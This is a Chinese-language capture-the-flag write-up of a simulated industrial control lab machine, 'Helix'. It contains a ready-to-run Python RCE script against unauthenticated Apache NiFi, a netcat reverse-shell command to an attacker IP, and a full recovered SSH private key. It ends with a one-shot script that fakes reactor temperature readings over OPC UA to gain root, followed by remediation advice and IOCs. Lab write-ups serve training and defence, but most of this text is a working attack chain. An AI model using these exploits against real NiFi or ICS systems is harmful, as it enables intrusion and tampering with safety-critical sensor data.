执行摘要
Helix 模拟工业控制系统(ICS)环境。外部攻击面极小,仅开放SSH和静态网站。通过虚拟主机枚举发现未认证的Apache NiFi实例,利用其REST API获得RCE。从NiFi诊断目录恢复SSH私钥完成横向移动。最终通过操纵OPC UA工业协议篡改反应堆传感器读数,触发维护窗口实现root提权。
阶段一:信息收集
1.1 端口扫描
# TCP全端口扫描
rustscan -a 10.129.17.212 -- -sV -sC
# UDP top 50 端口
nmap -sU --top-ports 50 -sV 10.129.17.212
结果:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | OpenSSH | 8.9p1 Ubuntu 3ubuntu0.15 |
| 80/tcp | nginx | 1.18.0 (Ubuntu) |
1.2 Web枚举
# 指纹识别
whatweb http://helix.htb/
# 虚拟主机枚举 (关键!)
ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \
-w /usr/share/wordlists/dirb/common.txt -fc 302 -t 50
# 添加hosts
echo "10.129.17.212 helix.htb flow.helix.htb" | sudo tee -a /etc/hosts
发现:
helix.htb— 纯静态企业网站,无后端功能flow.helix.htb— Apache NiFi 1.21.0,supportsLogin: false(匿名访问)
1.3 NiFi版本确认
# 确认版本和认证状态
curl -s http://flow.helix.htb/nifi-api/flow/about | python3 -m json.tool
# {"about":{"version":"1.21.0",...}}
# 确认匿名访问
curl -s http://flow.helix.htb/nifi-api/access/config
# {"config":{"supportsLogin":false}}
阶段二:初始立足 (nifi用户)
2.1 NiFi RCE原理
NiFi REST API在匿名访问模式下允许创建ExecuteProcess处理器,该处理器可执行任意系统命令。
2.2 可复现RCE脚本
#!/usr/bin/env python3
"""NiFi 1.21.0 Unauthenticated RCE via ExecuteProcess"""
import requests
import sys
TARGET = "http://flow.helix.htb"
NIFI_API = f"{TARGET}/nifi-api"
def nifi_rce(command, callback_url=None):
"""Execute a command via NiFi ExecuteProcess"""
# 1. 获取root process group ID
r = requests.get(f"{NIFI_API}/process-groups/root")
root_id = r.json()['id']
# 2. 创建ExecuteProcess处理器
payload = {
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.standard.ExecuteProcess",
"name": f"CMD-{command[:20]}",
"position": {"x": 0, "y": 0},
"config": {
"properties": {
"Command": "/bin/bash",
"Command Arguments": f"-c#{command}",
"Batch Duration": "10 sec",
"Redirect Error Stream": "true",
"Argument Delimiter": "#" # 单字符分隔符,避免空格分割
},
"schedulingPeriod": "30 sec",
"autoTerminatedRelationships": ["success"]
}
}
}
r = requests.post(
f"{NIFI_API}/process-groups/{root_id}/processors",
json=payload
)
proc = r.json()
proc_id = proc['id']
# 3. 启动处理器
rev = proc['revision']['version']
requests.put(
f"{NIFI_API}/processors/{proc_id}",
json={
"revision": {"version": rev},
"component": {"id": proc_id, "state": "RUNNING"}
}
)
print(f"[+] Processor {proc_id} RUNNING: {command}")
# 使用示例:向Kali监听器发送回调
# nifi_rce("curl http://10.10.16.155:8888/RCE-TEST")
关键参数:
Argument Delimiter: "#"— 必须为单字符,将整个payload作为单个参数传给bash -cBatch Duration— 命令输出捕获时间autoTerminatedRelationships: ["success"]— 自动终止FlowFile输出流
2.3 建立反向Shell
# Kali监听
nc -lvnp 4444
# NiFi执行反向Shell
python3 -c "
import requests
# (使用上面nifi_rce函数)
nifi_rce('busybox nc 10.10.16.155 4444 -e /bin/sh')
"
2.4 系统侦察(nifi视角)
# 通过NiFi执行的侦察命令
id # uid=998(nifi) gid=998(nifi)
cat /etc/passwd # 发现 operator(1001), plc(997), www-data(33)
ss -tlnp # :8081(Helix HMI), :4840(OPC UA), :8080(NiFi)
ps aux # helix-safety(root), helix-plc(plc), helix-hmi(www-data)
ls -la /opt/ # nifi-1.21.0/, helix/ (0750 root:helixsvc)
getent group helixsvc # helixsvc:x:1002:plc,www-data (nifi不在组内!)
阶段三:横向移动 → operator
3.1 SSH私钥恢复
# NiFi support-bundles目录包含备份的SSH私钥
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
私钥内容:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
3.2 SSH登录
# 保存私钥并设置权限
cat > /tmp/operator_id_ed25519 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/operator_id_ed25519
# SSH登录
ssh -i /tmp/operator_id_ed25519 [email protected]
# 获取user flag
cat ~/user.txt
阶段四:ICS分析
4.1 环境探索
# sudo权限 — 免密运行维护控制台
sudo -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console
# Helix内部服务
curl -s http://127.0.0.1:8081/ # HMI面板 (helix-hmi, www-data)
# OPC UA: opc.tcp://127.0.0.1:4840/helix/
# 关键文件
ls -la /usr/local/sbin/helix-maint-console
# -rwxr-x--- root:operator (932 bytes)
cat /etc/sudoers.d/helix-maint # 0440 root:root (不可读)
4.2 HMI面板分析
温度计算逻辑: Temperature = TemperatureRaw + CalibrationOffset
当前: Raw Temp 284.0°C + Offset 0.0°C → 284.0°C (NORMAL)
目标: Raw Temp 284.0°C + Offset 11.0°C → 295.0°C (触发维护窗口)
条件: Temp ≥ 295°C OR Pressure ≥ 73 bar, 同时 TripActive = False
4.3 OPC UA安装
目标无互联网,需从Kali传输依赖包:
# Kali: 下载Python 3.10兼容的包
mkdir /tmp/opcua_pkg && cd /tmp/opcua_pkg
pip3 download --python-version 3.10 --only-binary :all: lxml -d .
pip3 download opcua -d .
# Kali: 启动HTTP服务器
python3 -m http.server 8000
# 目标: 安装到/tmp (HOME不可写)
mkdir -p /tmp/opcua_install
pip3 install --target=/tmp/opcua_install --trusted-host 10.10.16.155 \
--no-index --find-links http://10.10.16.155:8000/ opcua
4.4 OPC UA节点结构
Plant (ns=2)
├── Reactor (ns=2;i=2)
│ ├── TemperatureRaw = 284.0 (ns=2;i=3)
│ ├── Temperature = 284.0 (ns=2;i=4) ← 自动计算 Raw+Offset
│ ├── Pressure = 69.0 (ns=2;i=5) ← 只读
│ └── CalibrationOffset = 0.0 (ns=2;i=6) ← 可写!
├── Safety (ns=2;i=7)
│ ├── RodsInserted (ns=2;i=8)
│ ├── EmergencyCooling (ns=2;i=9)
│ └── TripActive (ns=2;i=10)
└── Control (ns=2;i=11)
├── Mode = "NORMAL" (ns=2;i=12) ← 可写!
├── TestOverride (ns=2;i=13) ← 可写
└── ResetTrip (ns=2;i=14) ← 可写
4.5 OPC UA枚举脚本
#!/usr/bin/env python3
"""OPC UA 枚举 — 列出所有节点"""
import sys
sys.path.insert(0, '/tmp/opcua_install')
from opcua import Client, ua
c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.session_timeout = 5000
c.connect()
objects = c.get_objects_node()
for child in objects.get_children():
name = child.get_browse_name()
if name.NamespaceIndex == 2: # Helix namespace
print(f"\n[{name}]")
for sub in child.get_children():
sname = sub.get_browse_name()
try:
val = sub.get_value()
print(f" {sname} = {val} (id={sub.nodeid})")
except:
print(f" {sname} (id={sub.nodeid})")
c.disconnect()
阶段五:提权 → root
5.1 维护窗口触发原理
helix-maint-console (932字节脚本) 检查逻辑:
FLAG="/opt/helix/state/maintenance_window"
[ -f "$FLAG" ] || return 1 # 文件必须存在
# 读取时间戳,验证窗口未过期
安全控制器 (helix-safety, root) 仅在以下条件同时满足时创建维护窗口文件:
Mode == "MAINTENANCE"(不是TEST!)Temperature ≥ 295°C(Raw + Offset)TripActive == False
5.2 完整提权脚本
#!/usr/bin/env python3
"""一键提权: OPC UA触发维护窗口 → sudo获取root"""
import sys
sys.path.insert(0, '/tmp/opcua_install')
from opcua import Client, ua
import subprocess, time
c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.session_timeout = 5000
c.connect()
# 1. 读取当前值
raw_temp = c.get_node(ua.NodeId(3, 2)).get_value()
current_offset = c.get_node(ua.NodeId(6, 2)).get_value()
print(f"[*] Raw: {raw_temp:.1f}°C, Offset: {current_offset:.1f}°C")
# 2. 设置Mode=MAINTENANCE (关键!)
print("[*] Setting Mode = MAINTENANCE...")
c.get_node(ua.NodeId(12, 2)).set_value("MAINTENANCE")
# 3. 动态计算offset确保 Temperature ≥ 295°C
import math
needed = math.ceil(295.0 - raw_temp + 0.5)
print(f"[*] Setting offset to {needed}...")
c.get_node(ua.NodeId(6, 2)).set_value(float(needed))
# 4. 验证
temp = c.get_node(ua.NodeId(4, 2)).get_value()
print(f"[+] Temperature now: {temp:.1f}°C")
c.disconnect()
# 5. 等待安全控制器响应
time.sleep(2)
# 6. sudo执行维护控制台,管道注入命令
print("[*] Running sudo helix-maint-console...")
cmd = "cat /root/root.txt; id; whoami; exit\n"
result = subprocess.run(
['sudo', '/usr/local/sbin/helix-maint-console'],
input=cmd, capture_output=True, text=True
)
print(result.stdout)
if 'uid=0(root)' in result.stdout:
print("\n[+] ROOT ACCESS CONFIRMED!")
5.3 一步到位命令
# 单条SSH命令完成提权+读flag
ssh -i /tmp/operator_id_ed25519 [email protected] \
'PYTHONPATH=/tmp/opcua_install python3 -c "
from opcua import Client, ua
c=Client(\"opc.tcp://127.0.0.1:4840/helix/\")
c.session_timeout=5000; c.connect()
c.get_node(ua.NodeId(12,2)).set_value(\"MAINTENANCE\")
raw=c.get_node(ua.NodeId(3,2)).get_value()
c.get_node(ua.NodeId(6,2)).set_value(float(int(295-raw+0.5)))
print(\"Temp:\", c.get_node(ua.NodeId(4,2)).get_value())
c.disconnect()
" && sleep 1 && printf "cat /root/root.txt\nid\nexit\n" | sudo /usr/local/sbin/helix-maint-console'
缺陷与修复建议
| 漏洞 | 严重性 | 修复方案 |
|---|---|---|
| NiFi匿名访问 | 严重 | 启用NiFi认证 (nifi.security.user.login.identity.provider) |
| NiFi support-bundles含SSH私钥 | 严重 | 禁止在应用目录存储凭据;support-bundles应在生成后立即清理 |
| OPC UA无认证可读写 | 严重 | 启用OPC UA用户认证和访问控制 |
| 维护控制台仅检查文件存在 | 高 | 增加操作审计日志和多因素验证 |
| sudo NOPASSWD配置 | 中 | 考虑添加时间窗口限制和命令参数校验 |
| operator私钥无密码保护 | 中 | 生成SSH密钥时使用密码保护 |
IOC (入侵指标)
# 文件痕迹
/tmp/opcua_install/ # OPC UA Python库
/tmp/exploit*.py # 利用脚本
/tmp/*.txt # 侦察输出
~/.ssh/authorized_keys # 可能被修改
# NiFi痕迹
# 所有创建的ExecuteProcess处理器会持久化在:
/opt/nifi-1.21.0/conf/flow.xml.gz # 处理器配置
/opt/nifi-1.21.0/conf/flow.json.gz # (同上JSON格式)
# 日志
/opt/nifi-1.21.0/logs/nifi-app.log # NiFi操作日志
/var/log/syslog # 系统日志(sudo执行)